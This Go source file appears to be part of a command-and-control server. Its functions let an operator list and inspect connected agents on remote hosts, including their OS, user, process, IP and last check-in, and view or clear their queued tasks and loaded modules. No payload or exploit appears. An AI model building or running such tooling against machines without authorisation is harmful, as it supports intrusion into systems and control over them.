package main

import (
	"fmt"
	"log"
	"strings"
	"text/tabwriter"
	"time"
)

func ListAgents(operatorID string) {
	var sb strings.Builder

	operatorConn, _ := GetOperatorConn(operatorID)

	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0) // Initialize a tab writer

	// Write the header row
	fmt.Fprintln(tw, "ID\tOS\tUsername\tProcess (PID)\tRemote Address\tLast Seen")
	fmt.Fprintln(tw, "==========\t==========\t========\t==============\t===============\t==========")

	// Iterate over the agents and write their details
	agents.Range(func(key, value interface{}) bool {
		agentID := key.(string)
		agentInfo := value.(*AgentInfo)

		// Extract OS (only first two parts: "Windows 10" for example)
		osParts := strings.Fields(agentInfo.OSVersion)
		os := ""
		if len(osParts) >= 3 {
			os = fmt.Sprintf("%s %s", osParts[0], osParts[1]) // e.g., "Windows 10"
		} else {
			os = agentInfo.OSVersion // Fallback if OS is shorter than expected
		}

		// Extract just the executable name from the full path
		// Extract executable name from the full path, handling both Windows and Unix paths
		procPath := agentInfo.Procname
		// Replace backslashes with forward slashes for consistency
		procPath = strings.ReplaceAll(procPath, "\\", "/")
		// Get the last part after the final slash
		parts := strings.Split(procPath, "/")
		procName := parts[len(parts)-1]

		// Format the last connection time
		lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
		timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
		lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)

		// Write a row for each agent
		fmt.Fprintf(tw, "%s\t%s\t%s\t%s (%s)\t%s\t%s\n",
			agentID,
			os,
			agentInfo.Username,
			procName,
			agentInfo.PID,
			agentInfo.RemoteIP,
			lastMsgWithAgo,
		)
		return true
	})

	// Flush the tab writer and write to operator connection
	tw.Flush()

	if sb.Len() == 0 {
		operatorConn.Write([]byte("No agents connected"))
	} else {
		operatorConn.Write([]byte("Agents:\n" + sb.String()))
	}
}

// Get information about specific agent
func ShowAgent(operatorID string, agentID string) {
	operatorConn, exists := GetOperatorConn(operatorID)
	if !exists {
		return
	}

	value, exists := agents.Load(agentID)
	if !exists {
		operatorConn.Write([]byte("Agent not found"))
		return
	}

	agentInfo := value.(*AgentInfo)

	// Format last connection time
	lastMsg := agentInfo.LastConnection.Format("Jan 2 15:04:05")
	timeSinceLast := time.Since(agentInfo.LastConnection).Truncate(time.Second)
	lastMsgWithAgo := fmt.Sprintf("%s (%s ago)", lastMsg, timeSinceLast)

	var sb strings.Builder
	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)

	// Write agent details in tabular format
	fmt.Fprintln(tw, "Field\tDescription")
	fmt.Fprintln(tw, "============\t===============================")
	fmt.Fprintf(tw, "Agent ID\t%s\n", agentID)
	fmt.Fprintf(tw, "OS\t%s\n", agentInfo.OSVersion)
	fmt.Fprintf(tw, "Architecture\t%s\n", agentInfo.Architecture)
	fmt.Fprintf(tw, "Process\t%s\n", agentInfo.Procname)
	fmt.Fprintf(tw, "PID\t%s\n", agentInfo.PID)
	fmt.Fprintf(tw, "Hostname\t%s\n", agentInfo.Hostname)
	fmt.Fprintf(tw, "Username\t%s\n", agentInfo.Username)
	fmt.Fprintf(tw, "Local IP\t%s\n", agentInfo.LocalIP)
	fmt.Fprintf(tw, "Remote IP\t%s\n", agentInfo.RemoteIP)
	fmt.Fprintf(tw, "Last Connection\t%s\n", lastMsgWithAgo)

	// Flush and send response
	tw.Flush()
	operatorConn.Write([]byte(sb.String()))
}

// Show information about certain agent
func ShowTasks(operatorID string, cmdParts []string) {
	var response string

	operatorConn, _ := GetOperatorConn(operatorID)

	agentID := cmdParts[2]

	if _, agentExists := agents.Load(agentID); !agentExists {
		response = fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))
		return // Return early if the agent doesn't exist.
	}

	tasks := taskHandler.ListTasks(agentID)

	if len(tasks) == 0 {
		response = fmt.Sprintf("No tasks for agent %s", agentID)
	} else {
		response = fmt.Sprintf("Tasks for agent %s\n", agentID)
		for i, task := range tasks {
			taskMessage := fmt.Sprintf("Task #%d: command: \"%s\", arguments: \"%s\"\n", i+1, task.Type, task.Args)
			response += taskMessage
		}
	}
	operatorConn.Write([]byte(response))
}

// Remove all tasks assigned to a agent
func ClearTasks(operatorID string, cmdParts []string) {
	var response string
	agentID := cmdParts[2]

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Operator %s requested to clear tasks for non-existent agent: %s", operatorID, agentID)
		log.Print(logMessage)
		response = fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))
		return
	}

	logMessage := fmt.Sprintf("Operator %s requested to clear all tasks for agent: %s", operatorID, agentID)
	log.Print(logMessage)

	taskHandler.ClearTasks(agentID)

	response = fmt.Sprintf("Cleared task list for agent: %s", agentID)
	operatorConn.Write([]byte(response))
}

// Print the list of all loaded modules
func ShowModules(operatorID string) {
	operatorConn, exists := GetOperatorConn(operatorID)
	if !exists {
		return
	}

	if len(modules) == 0 {
		operatorConn.Write([]byte("No modules loaded"))
		return
	}

	var sb strings.Builder
	tw := tabwriter.NewWriter(&sb, 0, 8, 2, ' ', 0)

	// Write header
	fmt.Fprintln(tw, "Module\tType\tPath\tDescription")
	fmt.Fprintln(tw, "============\t============\t============\t===============================")

	// List all modules in tabular format
	for _, module := range modules {
		fmt.Fprintf(tw, "%s\t%s\t%s\t%s\n",
			module.Name, module.Type, module.Path, module.Description)
	}

	// Flush and send response
	tw.Flush()
	operatorConn.Write([]byte("Loaded modules:\n" + sb.String()))
}
